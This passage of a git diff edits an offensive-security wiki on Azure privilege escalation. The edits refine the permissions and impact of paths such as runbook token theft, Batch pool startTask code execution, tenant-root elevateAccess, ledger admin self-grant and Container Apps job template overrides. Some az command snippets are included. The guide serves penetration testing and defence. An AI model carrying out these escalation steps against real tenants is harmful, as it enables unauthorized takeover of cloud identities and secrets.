working `AADSSHLoginForLinux` extension and SSH daemon. Relay credentials alone do not supply an OS login. A local-account route instead requires separately known, valid local credentials; it cannot be inferred from Azure RBAC. + **Stealth:** **medium** — the credential-listing and service-configuration writes are logged control-plane calls, but the SSH session itself and everything done in it are on-box/data-plane and invisible to Azure without EDR/AMA.
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md index 1cbcb0e6c3..e226765e71 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md @@ -15,9 +15,9 @@ For more information about ARM Templates / Deployments access: **Minimum permissions:** `Microsoft.Resources/deploymentScripts/write` (insufficient alone; also needs `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on the pre-attached UAMI plus `Microsoft.ContainerInstance/containerGroups/read`+`/write`, `Microsoft.Storage/storageAccounts/read`+`/write`+`/listKeys/action`, and `Microsoft.ContainerInstance/containerGroups/delete` if a prior support container was retained) -**Potential Impact:** Replace an existing deployment script that references a privileged user-assigned managed identity so the container runs attacker-supplied Azure CLI/PowerShell as that UAMI — code execution and secret exfiltration (e.g., reading a Key Vault secret) bounded by the UAMI's permissions and network access. +**Potential Impact:** Create or replace a deployment script with an assignable privileged user-assigned managed identity so the container runs attacker-supplied Azure CLI/PowerShell as that UAMI — code execution and secret exfiltration (e.g., reading a Key Vault secret) bounded by the UAMI's permissions and network access. -Azure Deployment Scripts execute supplied Azure CLI or PowerShell in a managed container. Replacing a script that already references a privileged user-assigned managed identity (UAMI) can therefore provide code execution as that identity. +Azure Deployment Scripts execute supplied Azure CLI or PowerShell in a managed container. Creating a script or replacing a script that already references a privileged user-assigned managed identity (UAMI) can therefore provide code execution as that identity. The caller needs `assign/action` on the UAMI even when replacing a script that already references it. A write grant limited to one script resource cannot create a different script in its resource group. > [!TIP] > A `Microsoft.Resources/deploymentScripts` resource with `kind: AzureCLI` and an assigned UAMI runs attacker-supplied `scriptContent` on provisioned Azure Container Instances and can request that identity's ARM token. The code inherits only the UAMI's assigned roles; script logs are readable through `deploymentScripts/logs/read`. The CLI inside the container may label the attached identity as `systemAssignedIdentity`, so inspect the deployment script identity block to identify the actual UAMI. @@ -38,7 +38,7 @@ Microsoft.Storage/storageAccounts/write Microsoft.Storage/storageAccounts/listKeys/action ``` -If the previous script retained its support container, for example with `cleanupPreference: OnExpiration`, the following action is also required: +If the caller can only update an existing script and that script retained its support container, for example with `cleanupPreference: OnExpiration`, the following action is also required: ```text Microsoft.ContainerInstance/containerGroups/delete diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 9f5fd31b7b..05d98beb05 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -234,6 +234,8 @@ This action grants the caller User Access Administrator access at the tenant sco > [!TIP] > Elevation is available only to users assigned the Microsoft Entra Global Administrator role; activate that role first if Microsoft Entra Privileged Identity Management is in use. The call grants User Access Administrator at root scope (`/`).[[6]](#references) +A tenant-wide PIM eligibility is a separate, conditional path: its eligibility instance must currently be in force, and the user must satisfy any activation requirements before calling `elevateAccess`. An administrative-unit-scoped role does not authorize tenant-root elevation. The resulting Azure RBAC assignment is at `/`, not a separate assignment on every subscription. + ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 9ac71e8b9f..58b0f28c79 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -51,6 +51,16 @@ Microsoft explicitly identifies the operation as sensitive and excludes it from This reads stored Automation data; any reusable credential depends on the actual content. See [the Automation post-exploitation section](../az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsjobsstreamsread). +### Read runbook source for hardcoded secrets + +`Microsoft.Automation/automationAccounts/runbooks/content/read` can return the published source of a named runbook. A reusable client secret hardcoded there could let a reader authenticate as its service principal. Read access must apply to that exact runbook; an account-level permission alone does not establish that its source contains a credential. Draft source uses a separate endpoint and permission. Verify the returned content, credential validity, and principal mapping before reporting an escalation. + +### Harvest secrets from prior job output and streams + +An Automation job can leave a credential in its output or streams. A caller who knows the job name can request `/jobs//output` with `Microsoft.Automation/automationAccounts/jobs/output/read`, or `/jobs//streams` with `Microsoft.Automation/automationAccounts/jobs/streams/read`. `jobs/read` helps discover jobs but is not needed to read a known job through either endpoint. + +The impact depends on the returned content. A usable client secret for a named Entra service principal can allow authentication as that principal. An access token is limited to its audience and lifetime and should not be treated as unrestricted control of the principal. Verify the exact job, returned content, credential subject, and whether the credential still works before claiming an identity gain. + ### `Microsoft.Automation/automationAccounts/variables/read` This reads stored Automation data; any reusable credential depends on the actual content. See [the Automation post-exploitation section](../az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsvariablesread). @@ -59,6 +69,8 @@ This reads stored Automation data; any reusable credential depends on the actual **Minimum permissions:** Ability to run a runbook with `runOn` set to a hybrid worker group (`.../jobs/write` + runbook draft/publish rights), **or** local administrator on a machine that is already a hybrid worker. +For a cloud caller, the runbook edit or creation rights and job or test-job rights must form a complete path on the same Automation account that owns the worker group. A group may contain several workers, so selecting the group does not guarantee that a particular VM will run the job. Microsoft documents that an Arc worker's own managed identity cannot be used when the Automation account has a managed identity enabled. + **Potential Impact:** Bidirectional. **Cloud → on-prem**: arbitrary code execution as the worker's OS account inside the victim's network (often domain-joined, often on-premises), plus access to *every* managed identity attached to that VM via IMDS (`169.254.169.254`) — not just the Automation account's identity. **On-prem → cloud**: local admin on a worker can scrape `IDENTITY_ENDPOINT`/`IDENTITY_HEADER` out of a running job's environment and mint tokens as the Automation account's managed identity. - **From the Automation Account to the VM** @@ -98,7 +110,9 @@ The job process receives the Automation identity endpoint and its secret header ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/content/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -**Minimum permissions:** `runbooks/draft/write` + `runbooks/draft/content/write` + `runbooks/publish/action` + `jobs/write` + `jobs/output/read` on the Automation account. +**Minimum permissions:** A complete create-and-run or edit-and-run runbook route on the Automation account. `jobs/output/read` is additionally needed to retrieve a token printed in the job output. + +For the identity-gain path, the code must run in the same Automation account that carries the identity. Creating a new runbook needs `runbooks/write`, content write, publish, and job creation. Editing an existing runbook needs draft and content write plus publish and job creation, or draft test-job write. Grants scoped to one named runbook apply only to that runbook. `jobs/output/read` is needed to retrieve a token printed by the job; the runbook can also use the identity directly while it executes. **Potential Impact:** **Full takeover of the Automation account's managed identity.** You write a runbook that requests a token from the sandbox identity endpoint, run it, and read the token out of the job output — inheriting every role the identity holds (frequently Contributor or Owner on a subscription). The recovered token identifies the account's system-assigned identity in its `oid` claim and can call ARM with that identity's permissions. @@ -188,6 +202,8 @@ az automation runbook create --automation-account-name --resource **Potential Impact:** Attaches **any user-assigned managed identity you can assign** to an Automation account you can run code in — so you inherit that identity's roles without ever holding them. This is the standard way to turn "I control some automation compute" into "I am the privileged identity", and it is limited only by which identities the `assign/action` grant covers. +To use the identity, the caller also needs a complete runbook execution path in that same Automation account: create a runbook, write its content, publish and start a job, or edit an existing runbook and publish/start it or run a test job. An account-level grant can create a new runbook; a grant limited to one runbook applies only to that runbook. Creating a new Automation account additionally requires account-write permission inherited from its resource group. + These permissions allow the user to **assign a user managed identity** to the Automation Account using:[[1]](#references)[[10]](#references) ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md index aa1c57a35d..fde9983eb0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md @@ -25,7 +25,7 @@ az batch account keys list \ --name ``` -The keys authenticate to the Batch data plane only when `allowedAuthenticationModes` includes `SharedKey`; otherwise the action fails. Supply a returned key explicitly to avoid silently falling back to the current Entra identity: +The keys authenticate to the Batch data plane only when `allowedAuthenticationModes` includes `SharedKey`; otherwise the action fails. A caller with `Microsoft.Batch/batchAccounts/write` on the same account may first enable Shared Key authentication. The Batch service endpoint must also be reachable under the account's network settings. Supply a returned key explicitly to avoid silently falling back to the current Entra identity: ```bash endpoint=$(az batch account show \ @@ -100,13 +100,13 @@ This reads the caller-accessible Batch job and schedule data. See [Batch post-ex ## Azure Batch job and task data actions -**Minimum permissions:** `Microsoft.Batch/batchAccounts/jobs/*`, `Microsoft.Batch/batchAccounts/jobSchedules/*` (e.g. built-in Azure Batch Job Submitter role) +**Minimum permission:** `Microsoft.Batch/batchAccounts/jobs/write` or `Microsoft.Batch/batchAccounts/jobSchedules/write` on the Batch account. The built-in Azure Batch Job Submitter role grants broader `jobs/*` and `jobSchedules/*` data actions. -**Potential Impact:** Submit jobs/tasks to an existing pool while controlling `commandLine` and `environmentSettings` -> arbitrary code execution on pool compute nodes. If the pool has a user-assigned managed identity, node code requests its token via IMDS -> escalation to that identity's Azure access. +**Potential Impact:** A new job or job schedule can include a Job Manager or Job Preparation Task with a controlled command line. If it targets a pool with compute nodes and a user-assigned managed identity, that code may request the identity's token from the node metadata service. The Batch account must allow Microsoft Entra ID authentication, and the permission must apply to the same account as the pool. Azure Batch jobs group tasks that run on an existing pool. Both a job's common environment settings and an individual task's `environmentSettings` are applied to task processes. A principal authorized to submit jobs/tasks can therefore inject startup variables into a task that starts any matching runtime in the shared matrix.[[1]](#references)[[2]](#references) -The built-in **Azure Batch Job Submitter** role grants the data actions `Microsoft.Batch/batchAccounts/jobs/*` and `Microsoft.Batch/batchAccounts/jobSchedules/*`, plus read access to pools and application packages. Custom roles can grant narrower operations within the same data-plane family.[[3]](#references) +The built-in **Azure Batch Job Submitter** role grants the data actions `Microsoft.Batch/batchAccounts/jobs/*` and `Microsoft.Batch/batchAccounts/jobSchedules/*`, plus read access to pools and application packages. Custom roles can grant narrower write operations. A job or schedule can include a Job Manager Task or Job Preparation Task, so the code execution path does not depend on a separate task-add permission.[[1]](#references)[[3]](#references) ```bash # Authenticate the Batch data-plane CLI with the current Entra identity. @@ -148,16 +148,16 @@ The same task settings can target the full shared Python, Node.js, Ruby, Perl, B ## `Microsoft.Batch/batchAccounts/pools/write` — node RCE via pool `startTask` + managed-identity attach (control-plane, no keys) -**Minimum permissions:** `Microsoft.Batch/batchAccounts/pools/write` (**isDataAction=false**). Built-in: **Azure Batch Data Contributor** (`pools/*`), **Azure Batch Account Contributor** (`Microsoft.Batch/*`). Strictly higher than *Azure Batch Job Submitter* (which only has `pools/read`). +**Minimum permissions:** `Microsoft.Batch/batchAccounts/pools/write` (**isDataAction=false**) on a pool that can be updated, or on a Batch account where a new pool can be created. Attaching a user-assigned identity also requires `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on that identity. Built-in: **Azure Batch Data Contributor** (`pools/*`), **Azure Batch Account Contributor** (`Microsoft.Batch/*`). Strictly higher than *Azure Batch Job Submitter* (which only has `pools/read`). **Potential Impact:** The ARM pool resource contains a **`startTask`** object (`commandLine`, `resourceFiles`, `environmentSettings`, `userIdentity`) that runs on **every node when it joins/reboots** and can run elevated (`autoUser` with `elevationLevel: admin`). Creating or modifying a pool through ARM therefore yields **arbitrary admin command execution on all pool nodes using ARM RBAC alone — no account Shared Key and no data-plane token** — a distinct path from the documented `jobs/*` data-plane technique. The same single `pools/write` also: -* **Attaches a managed identity** (`identity` block, system- or user-assigned) to the pool → node code reads its token via IMDS → escalation to whatever that identity can do (no separate attach op exists; identity is set through `pools/write`). +* **Attaches a user-assigned managed identity** (`identity` block) to the pool → node code can request its token via IMDS → access to whatever that identity can do. The caller also needs `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on that identity. Batch pool identities are user-assigned, and changing the identity on an existing pool does not update its current nodes: the pool must scale to zero and create new nodes before the new identity is available there. * **Injects nodes into a target VNet subnet** (`networkConfiguration.subnetId`) for lateral movement / reach to internal resources. * **Opens inbound NAT** (`networkConfiguration.endpointConfiguration.inboundNatPools`) to expose SSH(22)/RDP(3389) on node public IPs for direct interactive access. * Modifying an **existing** pool's `startTask` is a persistence foothold firing on the next reboot/reimage/scale-out. -Attaching a *user-assigned* identity additionally needs `Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action` on that identity. See [Pool - Create (Batch Management REST)](https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/create) and [managed identities in Batch pools](https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools).[[5]](#references)[[6]](#references) +See [Pool - Create (Batch Management REST)](https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/create), [Pool - Update](https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/update), and [managed identities in Batch pools](https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools).[[5]](#references)[[6]](#references)
Logs generated diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md index 2dbc31b726..e64b7f1eff 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md @@ -14,7 +14,7 @@ Azure Confidential Ledger (`Microsoft.ConfidentialLedger`) is a tamper-evident, ## Data-plane role self-grant via `ledgers/write` -**Minimum permissions:** `Microsoft.ConfidentialLedger/ledgers/write` (+ `ledgers/read`). +**Minimum permission:** `Microsoft.ConfidentialLedger/ledgers/write` on the ledger. Reading the ledger resource first helps preserve its existing principal list. **Potential Impact:** overwrite the ledger's AAD / cert security-principal list to grant your own principal **Administrator / Contributor** on the data plane, then read all confidential records (`ledgers/transactions/read`) and append entries (`transactions/write`). Because the ledger is append-only with integrity receipts, **existing history cannot be altered or deleted** — the "tamper" is limited to appending misleading entries — but the disclosure of otherwise-confidential audit/financial data from a single control-plane write is the real prize. Whole-ledger destruction is a separate `ledgers/delete` (DoS). @@ -26,10 +26,11 @@ Azure Confidential Ledger (`Microsoft.ConfidentialLedger`) is a tamper-evident, > **Do not rely on `filesExport` as the exfiltration path for a standard Public/Standard ledger.** The operation can return `404 NotFound` even when the ledger is healthy and the target SAS is writable. Read transactions through the data plane after granting the required ledger role with `ledgers/write` instead. ```bash -# Rewrite the security-principal list to add the attacker as Administrator, then read the ledger -az rest --method put \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ConfidentialLedger/ledgers/?api-version=2023-06-28-preview" \ - --body '{"location":"","properties":{"ledgerType":"Public","aadBasedSecurityPrincipals":[{"principalId":"","tenantId":"","ledgerRoleName":"Administrator"}]}}' +# Update the security-principal list to add the caller as Administrator. +# Include the ledger's existing AAD principals in this array when retaining their access. +az rest --method patch \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ConfidentialLedger/ledgers/?api-version=2022-05-13" \ + --body '{"properties":{"aadBasedSecurityPrincipals":[{"principalId":"","tenantId":"","ledgerRoleName":"Administrator"}]}}' ``` ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md index eff56c10b5..d17d4408f5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md @@ -25,7 +25,7 @@ This section has moved to [the Container Apps post-exploitation page](../az-post ## `Microsoft.App/containerApps/sourcecontrols/write` — Repoint GitHub Actions deployment **Minimum permissions:** `Microsoft.App/containerApps/sourcecontrols/write` — Container Apps Contributor (`Microsoft.App/containerApps/*/write`), Contributor, or Owner. -**Potential impact:** Repointing the app's GitHub Actions continuous-deployment configuration to an attacker-controlled repository or branch can deploy attacker code as the app and its managed identity when the next build runs. The source-control binding remains in place for later builds. Changing the binding alone does not execute code; a commit or deployment on the configured branch must trigger the build. [Container Apps GitHub Actions deployment](https://learn.microsoft.com/en-us/azure/container-apps/github-actions) creates a new app revision when the workflow updates the image. +**Potential impact:** Repointing the app's GitHub Actions continuous-deployment configuration to an attacker-controlled repository or branch can deploy attacker code as the app and its managed identity when a working build runs. The source-control binding remains in place for later builds. The source-control write permission alone does not establish that GitHub, Azure, and registry credentials are available to the new workflow. A successful attacker-controlled build, deployment of its revision, and a managed identity available to the running app are needed for an identity escalation path. [Container Apps GitHub Actions deployment](https://learn.microsoft.com/en-us/azure/container-apps/github-actions) creates a new app revision when the workflow updates the image.
Logs generated diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md index 5cc93ac62d..41759ce200 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -224,11 +224,11 @@ Neither permission can modify the image, command, environment, identity, or volu ### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `Microsoft.App/containerApps/revisions/replicas/read`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`, `Microsoft.App/containerApps/exec/action`, `Microsoft.App/containerApps/debug/action` -**Minimum permissions:** `Microsoft.App/containerApps/read` + `managedEnvironments/read` + `revisions/replicas/read` + `revisions/read` + `containerApps/getAuthToken/action` + `exec/action` + `debug/action`. +**Console permissions:** `Microsoft.App/containerApps/getAuthToken/action` and either `Microsoft.App/containerApps/exec/action` or `Microsoft.App/containerApps/debug/action` on the same app. Azure classifies `exec/action` and `debug/action` as DataActions. Azure CLI also reads the app, its environment, revision, and replica details to select a running container. -**Potential Impact:** **Shell / debug console in a running Container App** → run code as the app and its managed identity (escalate to the MI's access). +**Potential Impact:** **Shell / debug console in a running Container App** → access the app's runtime and potentially use an identity available to its main container. -These permissions can allow a user to get a shell or debug console in a running Container App. A managed identity attached to the app can make the shell more valuable when that identity has access to other Azure resources. The `getAuthToken` action is used by Container Apps console-related operations, while `exec` and `debug` provide console access.[[7]](#references)[[8]](#references)[[9]](#references)[[11]](#references) +These permissions can allow a user to get a shell or debug console in a Container App with a running replica. A managed identity attached to the app can make console access more valuable when its `identitySettings` make it available during the main container lifecycle and it has access to other Azure resources. `getAuthToken/action` is used by Container Apps console-related operations; `exec/action` enters an app container, while `debug/action` opens a separate debug container that can access the app container's file system.[[7]](#references)[[8]](#references)[[9]](#references)[[11]](#references) ```bash az containerapp exec --name --resource-group --command "sh" @@ -240,7 +240,8 @@ az containerapp debug --name --resource-group | Operation / signal | Log & plane | Logged by default? | | --- | --- | --- | -| `containerApps/exec/action` / `debug/action` / `getAuthToken/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | +| `containerApps/getAuthToken/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | +| `containerApps/exec/action` / `debug/action` | Container App data actions | Depends on diagnostic settings and Azure logging coverage | | In-container command output / interactive console (data-plane) | `ContainerAppConsoleLogs`/`ContainerAppSystemLogs` resource diagnostic (data-plane) | No — diagnostic setting off by default | - `containerApps/exec/action` / `debug/action` / `getAuthToken/action` is logged in the **Activity Log** (Administrative, ~90 days). @@ -361,6 +362,8 @@ If environment or component listing is denied, the exact resource ID can still b Updating a Container App's environment variables creates a new revision. If the existing image command starts an affected interpreter, `containerApps/write` can target the shared Python, Node.js, Ruby, Perl, Bash/zsh/fish, JVM, .NET, PHP, Lua, R, Julia, Erlang/Elixir, GNU Octave, or PowerShell startup matrix. Most variants require an attacker-controlled module/script/agent/configuration tree already readable in the image or a mounted path. The same write permission can also change the image or startup command, which is normally a more direct execution path.[[17]](#references)[[19]](#references) +For an identity escalation, verify that the identity is currently attached to the exact app being changed and that the app can deploy a new revision. A stopped app also needs `Microsoft.App/containerApps/start/action` before the new code runs. The write permission can change the app's identity lifecycle setting and minimum replicas, but a successful image pull and running controlled revision are still needed before the code can use the identity. + ```bash az containerapp update \ --name \ @@ -394,7 +397,7 @@ az containerapp update \ **Potential Impact:** Attach a **user-assigned managed identity** to the app → code in the app gains that identity's access. -These permissions allow a user to attach a user-assigned managed identity to a Container App. The identity can give code in the app access to other Azure resources, depending on its role assignments. The CLI/API path may also need the read or secret-list permissions required to load the app configuration.[[7]](#references)[[11]](#references)[[12]](#references) +These permissions allow a user to attach a user-assigned managed identity to a Container App. Attaching the identity alone does not restart the app or create a revision. The same `containerApps/write` permission can change the app image or startup command to create a revision whose code requests the new identity's token. A stopped app also needs `Microsoft.App/containerApps/start/action` before that code can run. The CLI/API path may need read or secret-list permissions to load the existing configuration.[[7]](#references)[[11]](#references)[[12]](#references) To attach a user-assigned managed identity: @@ -424,7 +427,7 @@ az containerapp identity assign \ **Potential Impact:** **Create a Container App with a UAMI** (and reverse-shell command) → the process runs with the identity's permissions. -These permissions allow a user to create or update a Container App with a user-assigned managed identity. This can provide the app's process with the identity's permissions.[[7]](#references)[[11]](#references)[[17]](#references) +These permissions allow a user to create a Container App with a user-assigned managed identity. The app write permission must apply where the new app is created, and `managedEnvironments/join/action` must apply to the environment it uses. If the environment does not exist, creating it additionally requires `Microsoft.App/managedEnvironments/write`. A controlled image or command can then request the identity's token if the deployment starts a replica.[[7]](#references)[[11]](#references)[[17]](#references) ```bash # Get environments @@ -853,9 +856,9 @@ Do not assume that token retrieval alone guarantees deployed code execution or s **Minimum permissions:** `Microsoft.App/jobs/start/action` on a known Job. `jobs/read` is convenient for fetching its template but is not required when the resource ID, container shape and any target secret names are already known. -**Potential Impact:** Start a job execution with an **overridden template** (attacker image/command) → code execution as the job's container and any managed identity configured as available to it, **without** `jobs/write` (the stored job definition is unchanged). The override can also inject a known Job secret via `secretRef` even when the caller lacks `jobs/listSecrets/action`. +**Potential Impact:** Start a job execution with an **overridden template** (attacker image/command) → code execution as the job's container and any managed identity available in that execution, **without** `jobs/write` (the stored job definition is unchanged). The override can also inject a known Job secret via `secretRef` even when the caller lacks `jobs/listSecrets/action`. -Although jobs are not long-running like Container Apps, a job execution can receive an overridden template. By replacing the default command with a reverse shell or another payload, a user can gain access to the container running that execution. `jobs/start/action` is sufficient at the REST API authorization layer to start an execution with an overridden template; `jobs/write` is only needed to change the persistent job configuration. `jobs/read` is useful for retrieving the complete existing template before replacing it for one execution.[[7]](#references)[[13]](#references)[[14]](#references) +Although jobs are not long-running like Container Apps, a job execution can receive an overridden template. By replacing the default command with a reverse shell or another payload, a user can gain access to the container running that execution. `jobs/start/action` is sufficient at the REST API authorization layer to start an execution with an overridden template; `jobs/write` can instead change the persistent template and schedule an execution. The attached identity is usable when its lifecycle setting allows the main container, or an init container on a supported Consumption workload profile. `jobs/read` is useful for retrieving the existing template before replacing it for one execution.[[7]](#references)[[13]](#references)[[14]](#references) ```bash # Retrieve the current job template: @@ -870,10 +873,7 @@ az containerapp job show --name --resource-group --query # - /bin/bash # image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest -# Update the persistent job template when needed: -az containerapp job update --name --resource-group --yaml job-template.yaml - -# Start an execution with the modified template: +# Start one execution with the modified template: az containerapp job start --name --resource-group --yaml job-template.yaml ``` @@ -945,11 +945,11 @@ az containerapp job secret show --name --resource-group - ### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write` -**Minimum permissions:** `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + `Microsoft.App/jobs/write`. +**Minimum permissions for an existing Job:** `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` on the identity and `Microsoft.App/jobs/write` on that Job. Creating a new Job also needs `Microsoft.App/managedEnvironments/join/action` on a usable environment. **Potential Impact:** Attach a **user-assigned managed identity** to a job → code in the job execution uses that identity's access. -If a user can modify a job's configuration, the user can attach a user-assigned managed identity. That identity might have additional privileges, such as access to other resources or secrets, that code in the job can use.[[7]](#references)[[16]](#references) +If a user can modify an existing Job in a usable environment, they can attach a user-assigned managed identity and change the job template and trigger to run controlled code on a schedule. The identity is useful to that code when it is available in the main job lifecycle and has access to other resources or secrets. Assigning the identity alone does not run the Job.[[7]](#references)[[16]](#references) ```bash az containerapp job identity assign \ @@ -973,11 +973,11 @@ az containerapp job identity assign \ ### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -**Minimum permissions:** `Microsoft.App/managedEnvironments/read` + `jobs/write` + `managedEnvironments/join/action` + `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`. +**Minimum permissions for a new Job:** `jobs/write` on the new Job path, `managedEnvironments/join/action` on the chosen environment, and `userAssignedIdentities/assign/action` on the identity. Azure CLI may also need `managedEnvironments/read` and `jobs/read` to build and verify the request. **Potential Impact:** **Create/update a job with a UAMI** and a payload (e.g. scheduled reverse shell) → run code with the identity's permissions. -If a user can create a new Container Apps Job (or update an existing one) and attach a managed identity, the job can be designed to execute a payload that uses the identity's permissions. For example, a job can run a reverse shell and request tokens or access other resources available to its identity.[[7]](#references)[[11]](#references)[[13]](#references)[[14]](#references) +If a user can create a new Container Apps Job and attach a managed identity, the job can be scheduled to run code that uses the identity's permissions. The new Job must join a usable environment in the same subscription. A caller that can also create and join a new environment may establish that path first. Deployment and the scheduled execution still need to succeed.[[7]](#references)[[11]](#references)[[13]](#references)[[14]](#references) ```bash az containerapp job create \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md index c7d2a25fed..57356bad39 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md @@ -24,7 +24,7 @@ Microsoft.Databricks/workspaces/assignWorkspaceAdmin/action Microsoft.Databricks/workspaces/read ``` -The admin-assignment action passes Azure RBAC by itself, but the Databricks workspace bootstrap additionally requires `workspaces/read`. With both permissions and fresh Entra tokens, the two-token bootstrap places the user in the Databricks `admins` group. +The admin-assignment action passes Azure RBAC by itself, but the documented Databricks workspace bootstrap additionally uses `workspaces/read`. Both operations must apply to the same usable workspace. An enabled tenant member user needs fresh Entra tokens and a network path to that workspace for the two-token bootstrap to place the user in its `admins` group. A grant on another workspace or a service principal does not establish this tested user path. Workspace administrators can manage workspace users and groups and may be able to read notebooks, jobs, secrets, tokens, and data or run workloads using configured compute and identities. Those effects depend on the target workspace, entitlements, Unity Catalog, cluster policies, and Azure resource permissions, so the pair is not automatically an Azure subscription or tenant takeover. @@ -67,7 +67,7 @@ curl -sS "https://${workspace_host}/api/2.0/preview/scim/v2/Users?count=10" \ -H "X-Databricks-Azure-Workspace-Resource-Id: ${workspace_id}" ``` -The tested bootstrap worked for a tenant member user. Service-principal attempts did not establish an equivalent minimum-role path, so do not assume identical behavior without checking the target. +The tested bootstrap worked for a tenant member user. Service-principal attempts did not establish an equivalent minimum-role path, so do not assume identical behavior without checking the target. The Azure workspace resource exposes its provisioning state and `workspaceUrl`, which can be used to bind both Azure permissions to the workspace actually reached by the Databricks token. See [Workspaces Get](https://learn.microsoft.com/en-us/rest/api/databricks/workspaces/get?view=rest-databricks-2026-01-01). If subscription or resource-group listing is denied, recover the resource ID and hostname from Databricks links, browser history, application settings, notebooks, CI/CD output, diagnostic logs, deployment templates, or support bundles. A typical hostname is `adb-..azuredatabricks.net`. Knowing the identifiers is enough to attempt the bootstrap; no broader workspace enumeration permission is required beyond the two operations above. diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 21f2695c57..180cc9c0f5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -621,10 +621,12 @@ az rest --method PUT \ **Minimum permissions:** `Microsoft.Web/sites/slots/publishxml/action`. -**Potential Impact:** Fetch a deployment slot's publishing profile → SCM/FTP credentials → deploy arbitrary code to the slot → code execution as the app and its managed identity. +**Potential Impact:** Fetch a deployment slot's publishing profile → SCM credentials → deploy code to that slot → possible code execution as the slot's own managed identity. This slot-scoped operation returns publishing profiles **with secrets**. With SCM basic authentication enabled on the target, the returned slot username and password can authenticate to Kudu ZipDeploy and deploy code without requiring `sites/slots/write`.[[1]](#references)[[12]](#references)[[13]](#references)[[26]](#references) +The credential-read permission and `basicPublishingCredentialsPolicies/scm` setting must belong to the same slot as the target identity. The slot's SCM policy needs `allow=true`; a disabled or unread policy does not establish a usable SCM credential path. `Microsoft.Web/sites/slots/config/list/action` is another way to list that slot's publishing 